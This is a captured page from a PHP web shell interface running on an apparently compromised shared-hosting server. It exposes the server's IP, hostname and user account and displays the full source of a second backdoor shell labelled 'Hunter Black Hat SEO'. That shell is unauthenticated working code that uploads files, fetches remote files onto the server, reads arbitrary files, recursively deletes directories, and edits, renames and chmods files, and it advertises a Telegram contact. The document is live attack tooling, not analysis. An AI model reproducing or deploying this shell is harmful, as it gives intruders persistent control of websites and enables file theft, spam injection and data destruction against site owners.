Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
proc
/
thread-self
/
root
/
proc
/
thread-self
/
root
/
tmp
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
63.250.38.10
System
Linux premium90.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User
likhxapw
PHP Version
8.3.30
Software
LiteSpeed
Doc root
Writable
close
Edit File :
b365f355101ea6ef01359af4b864f15c.php
| Size :
13.36
KB
Copy
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Ok</title> <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet"> <style> *{margin:0;padding:0;box-sizing:border-box} body{font-family:'JetBrains Mono',monospace;background:#0d1117;color:#c9d1d9;line-height:1.6;font-size:14px;min-height:100vh;padding:20px} .container{max-width:1000px;margin:0 auto} .header{background:#161b22;border:1px solid #21262d;border-radius:6px;padding:16px;margin-bottom:16px} .title{font-size:18px;font-weight:500;color:#58a6ff;margin-bottom:12px} .system-info{display:grid;grid-template-columns:repeat(auto-fit,minmax(250px,1fr));gap:8px;font-size:12px} .info-line{padding:4px 0} .info-label{color:#7d8590;display:inline-block;width:120px} .info-value{color:#f0883e} .breadcrumb{background:#0d1117;border:1px solid #21262d;border-radius:6px;padding:12px;margin-bottom:16px;font-size:13px} .breadcrumb a{color:#58a6ff;text-decoration:none} .breadcrumb a:hover{text-decoration:underline} .upload-section{background:#161b22;border:1px solid #21262d;border-radius:6px;padding:16px;margin-bottom:16px} .section-title{font-size:14px;font-weight:500;color:#f0f6fc;margin-bottom:12px} .form-row{margin-bottom:12px} .radio-group{display:flex;gap:20px;margin-bottom:12px} .radio-item{display:flex;align-items:center;gap:6px;font-size:13px} input[type="file"],input[type="text"],select,textarea{background:#0d1117;border:1px solid #21262d;border-radius:6px;color:#c9d1d9;padding:8px 12px;font-family:inherit;font-size:13px} input[type="file"]:focus,input[type="text"]:focus,select:focus,textarea:focus{outline:none;border-color:#58a6ff} .btn{background:#21262d;border:1px solid #30363d;border-radius:6px;color:#f0f6fc;padding:6px 12px;font-family:inherit;font-size:13px;cursor:pointer;transition:all .2s} .btn:hover{background:#30363d;border-color:#8b949e} .btn-primary{background:#238636;border-color:#238636} .btn-primary:hover{background:#2ea043} .btn-danger{background:#da3633;border-color:#da3633} .btn-danger:hover{background:#f85149} .upload-row{display:flex;gap:8px;align-items:end} .upload-row input[type="file"],.upload-row input[type="text"]{flex:1} .upload-row input[type="text"]:last-of-type{max-width:150px} .message{padding:12px;border-radius:6px;margin:12px 0;font-size:13px} .message-success{background:rgba(35,134,54,.15);border:1px solid #238636;color:#56d364} .message-error{background:rgba(218,54,51,.15);border:1px solid #da3633;color:#f85149} .file-table{background:#0d1117;border:1px solid #21262d;border-radius:6px;overflow:hidden;margin-bottom:20px} table{width:100%;border-collapse:collapse} th{background:#161b22;padding:12px;text-align:left;font-weight:500;font-size:13px;color:#f0f6fc;border-bottom:1px solid #21262d} td{padding:8px 12px;border-bottom:1px solid #21262d;font-size:13px} tr:hover{background:#161b22} .file-link{color:#c9d1d9;text-decoration:none} .file-link:hover{color:#58a6ff} .dir-link{color:#58a6ff} .size{color:#7d8590;text-align:right} .permissions{font-family:'JetBrains Mono',monospace;font-size:12px;color:#7d8590} .writable{color:#56d364} .readonly{color:#f85149} .action-form{display:flex;gap:4px;align-items:center} .action-form select{font-size:12px;padding:4px 8px;min-width:80px} .action-form .btn{padding:4px 8px;font-size:12px} .edit-form{background:#161b22;border:1px solid #21262d;border-radius:6px;padding:16px;margin:16px 0} .edit-form textarea{width:100%;min-height:400px;resize:vertical} .edit-form .form-row{margin-top:12px} .file-preview{background:#0d1117;border:1px solid #21262d;border-radius:6px;padding:16px;margin:16px 0} .file-preview pre{background:#161b22;border:1px solid #21262d;border-radius:6px;padding:16px;overflow-x:auto;font-size:12px;line-height:1.45} .footer{text-align:center;margin-top:40px;padding:20px} .telegram-link{display:inline-flex;align-items:center;gap:8px;background:#0088cc;color:white;text-decoration:none;padding:10px 20px;border-radius:6px;font-size:14px;font-weight:500;transition:background .2s} .telegram-link:hover{background:#0099dd} @media(max-width:768px){ .container{padding:10px} .system-info{grid-template-columns:1fr} .upload-row{flex-direction:column} .upload-row input[type="text"]:last-of-type{max-width:none} table{font-size:12px} th,td{padding:6px 8px} } </style> </head> <body> <div class="container"> <div class="header"> <div class="title">Hunter Black Hat SEO</div> <?php set_time_limit(0); error_reporting(0); $disfunc=@ini_get("disable_functions"); $disf=empty($disfunc)?"<span class='writable'>NONE</span>":"<span class='readonly'>".$disfunc."</span>"; function author(){ echo '<div class="footer"><a href="https://t.me/neel_info" class="telegram-link" target="_blank"><span>@</span><span>Telegram</span></a></div>';exit(); } function cekdir(){ $lokasi=isset($_GET['path'])?$_GET['path']:getcwd(); return is_writable($lokasi)?"<span class='writable'>writable</span>":"<span class='readonly'>readonly</span>"; } function cekroot(){ return is_writable($_SERVER['DOCUMENT_ROOT'])?"<span class='writable'>writable</span>":"<span class='readonly'>readonly</span>"; } function xrmdir($dir){$items=scandir($dir);foreach($items as $i){if($i=='.'||$i=='..')continue;$path=$dir.'/'.$i;if(is_dir($path))xrmdir($path);else unlink($path);}rmdir($dir);} function green($t){echo"<div class='message message-success'>$t</div>";} function red($t){echo"<div class='message message-error'>$t</div>";} ?> <div class="system-info"> <div class="info-line"><span class="info-label">Server:</span><span class="info-value"><?php echo $_SERVER['SERVER_SOFTWARE'];?></span></div> <div class="info-line"><span class="info-label">System:</span><span class="info-value"><?php echo php_uname();?></span></div> <div class="info-line"><span class="info-label">User:</span><span class="info-value"><?php echo @get_current_user()." (".@getmyuid().")";?></span></div> <div class="info-line"><span class="info-label">PHP:</span><span class="info-value"><?php echo @phpversion();?></span></div> <div class="info-line" style="grid-column:1/-1;"><span class="info-label">Disabled:</span><span class="info-value"><?php echo $disf;?></span></div> </div></div> <div class="breadcrumb"> <?php foreach($_POST as $k=>$v){$_POST[$k]=stripslashes($v);} $lokasi=isset($_GET['path'])?$_GET['path']:getcwd(); $lokasi=str_replace('\\','/',$lokasi); $lokasis=explode('/',$lokasi); $lokasinya=@scandir($lokasi); echo "$ pwd: "; foreach($lokasis as $id=>$lok){ if($lok==''&&$id==0){echo'<a href="?path=/">/</a>';continue;} if($lok=='')continue; echo '<a href="?path='; for($i=0;$i<=$id;$i++){echo"$lokasis[$i]";if($i!=$id)echo"/";} echo'">'.$lok.'</a>/'; } ?> </div> <div class="upload-section"> <div class="section-title">Upload Files</div> <?php if(isset($_POST['upwkwk'])){ if(isset($_POST['berkasnya'])){ if($_POST['dirnya']=="2"){$lokasi=$_SERVER['DOCUMENT_ROOT'];} if(!empty($_FILES['berkas']['name'][0])){ $uploaded=0;$failed=0; foreach($_FILES['berkas']['name']as$key=>$name){ $tmp=$_FILES['berkas']['tmp_name'][$key]; $target=$lokasi."/".basename($name); if(@move_uploaded_file($tmp,$target)){$uploaded++;}else{$failed++;} } if($uploaded>0)green("Uploaded $uploaded file(s) to: $lokasi"); if($failed>0)red("Failed to upload $failed file(s)"); }else{red("No file selected.");} }elseif(isset($_POST['linknya'])){ if(empty($_POST['namalink'])){red("Filename cannot be empty");} else{ if($_POST['dirnya']=="2"){$lokasi=$_SERVER['DOCUMENT_ROOT'];} $data=@file_put_contents($lokasi."/".$_POST['namalink'],@file_get_contents($_POST['darilink'])); if(file_exists($lokasi."/".$_POST['namalink']))green("File fetched: ".$lokasi."/".$_POST['namalink']);else red("Fetch failed"); }}} ?> <form enctype="multipart/form-data" method="post"> <div class="form-row"> <div class="radio-group"> <label class="radio-item"><input type="radio" value="1" name="dirnya" checked><span>current [<?php echo cekdir();?>]</span></label> <label class="radio-item"><input type="radio" value="2" name="dirnya"><span>docroot [<?php echo cekroot();?>]</span></label> </div></div> <input type="hidden" name="upwkwk" value="aplod"> <div class="form-row"><div class="upload-row"> <input type="file" name="berkas[]" multiple> <button type="submit" name="berkasnya" class="btn btn-primary">Upload</button> </div></div> <div class="form-row"><div class="upload-row"> <input type="text" name="darilink" placeholder="https://example.com/file.txt"> <input type="text" name="namalink" placeholder="filename"> <button type="submit" name="linknya" class="btn btn-primary">Fetch</button> </div></div> </form></div> <?php if(isset($_GET['fileloc'])){ echo"<div class='file-preview'><div class='section-title'>File: ".$_GET['fileloc']."</div><pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre></div>";author(); }elseif(isset($_GET['pilihan'])&&$_POST['pilih']=="hapus"){ if(is_dir($_POST['path'])){xrmdir($_POST['path']);file_exists($_POST['path'])?red("Failed to delete dir"):green("Directory deleted");} elseif(is_file($_POST['path'])){@unlink($_POST['path']);file_exists($_POST['path'])?red("Failed to delete file"):green("File deleted");} }elseif(isset($_GET['pilihan'])&&$_POST['pilih']=="ubahmod"){ echo"<div class='edit-form'><div class='section-title'>chmod ".$_POST['path']."</div>"; echo'<form method="post"><div class="form-row"> <input name="perm" type="text" size="4" value="'.substr(sprintf("%o",fileperms($_POST['path'])),-4).'" placeholder="0644"/> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="pilih" value="ubahmod"> <button type="submit" name="chm0d" class="btn btn-primary">Apply</button> </div></form>'; if(isset($_POST['chm0d'])){ $perm=octdec($_POST['perm']); $cm=@chmod($_POST['path'],$perm); $cm?green("Permission changed"):red("Permission change failed"); } echo"</div>"; }elseif(isset($_GET['pilihan'])&&$_POST['pilih']=="gantinama"){ if(isset($_POST['gantin'])){ $ren=@rename($_POST['path'],$_POST['newname']); $ren?green("Renamed successfully"):red("Rename failed"); } $namaawal=basename($_POST['path']); echo"<div class='edit-form'><div class='section-title'>mv ".$_POST['path']."</div>"; echo'<form method="post"><div class="form-row"> <input name="newname" type="text" value="'.$namaawal.'" placeholder="new name"/> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="pilih" value="gantinama"> <button type="submit" name="gantin" class="btn btn-primary">Rename</button> </div></form></div>'; }elseif(isset($_GET['pilihan'])&&$_POST['pilih']=="edit"){ if(isset($_POST['gasedit'])){ $edit=@file_put_contents($_POST['path'],$_POST['src']); $edit?green("File saved"):red("Save failed"); } echo"<div class='edit-form'><div class='section-title'>nano ".$_POST['path']."</div>"; echo'<form method="post"><textarea name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea> <div class="form-row"><input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="pilih" value="edit"> <button type="submit" name="gasedit" class="btn btn-primary">Save</button></div></form></div>'; } ?> <div class="file-table"><table><thead><tr><th>Name</th><th style="width:80px;">Size</th><th style="width:100px;">Permissions</th><th style="width:120px;">Actions</th></tr></thead><tbody> <?php foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir)||$dir=='.'||$dir=='..')continue; echo"<tr><td><a href='?path=$lokasi/$dir' class='file-link dir-link'>$dir</a></td><td class='size'>--</td><td class='permissions ".(is_writable($lokasi."/".$dir)?'writable':'readonly')."'>".statusnya($lokasi."/".$dir)."</td> <td><form method='POST' action='?pilihan&path=$lokasi' class='action-form'><select name='pilih'><option value=''>--</option><option value='hapus'>rm</option><option value='ubahmod'>chmod</option><option value='gantinama'>mv</option></select> <input type='hidden' name='type' value='dir'><input type='hidden' name='path' value='$lokasi/$dir'><button type='submit' class='btn'>go</button></form></td></tr>"; } foreach($lokasinya as $file){ if(!is_file("$lokasi/$file"))continue; $size=filesize("$lokasi/$file")/1024;$size=round($size,3);$size=$size>=1024?round($size/1024,2).'M':$size.'K'; echo"<tr><td><a href='?fileloc=$lokasi/$file&path=$lokasi' class='file-link'>$file</a></td><td class='size'>$size</td> <td class='permissions ".(is_writable("$lokasi/$file")?'writable':'readonly')."'>".statusnya("$lokasi/$file")."</td> <td><form method='post' action='?pilihan&path=$lokasi' class='action-form'><select name='pilih'><option value=''>--</option><option value='hapus'>rm</option><option value='ubahmod'>chmod</option><option value='gantinama'>mv</option><option value='edit'>nano</option></select> <input type='hidden' name='type' value='file'><input type='hidden' name='path' value='$lokasi/$file'><button type='submit' class='btn'>go</button></form></td></tr>"; } ?> </tbody></table></div> <?php author(); function statusnya($f){ $p=fileperms($f); $type=($p&0x4000)?'d':(($p&0x8000)?'-':'?'); $perm=''; $map=['r'=>0x0100,'w'=>0x0080,'x'=>0x0040]; $perm.=(($p&$map['r'])?'r':'-').(($p&$map['w'])?'w':'-').(($p&$map['x'])?'x':'-'); $perm.=(($p&0x0020)?'r':'-').(($p&0x0010)?'w':'-').(($p&0x0008)?'x':'-'); $perm.=(($p&0x0004)?'r':'-').(($p&0x0002)?'w':'-').(($p&0x0001)?'x':'-'); return $type.$perm; } ?> </div></body></html>
Back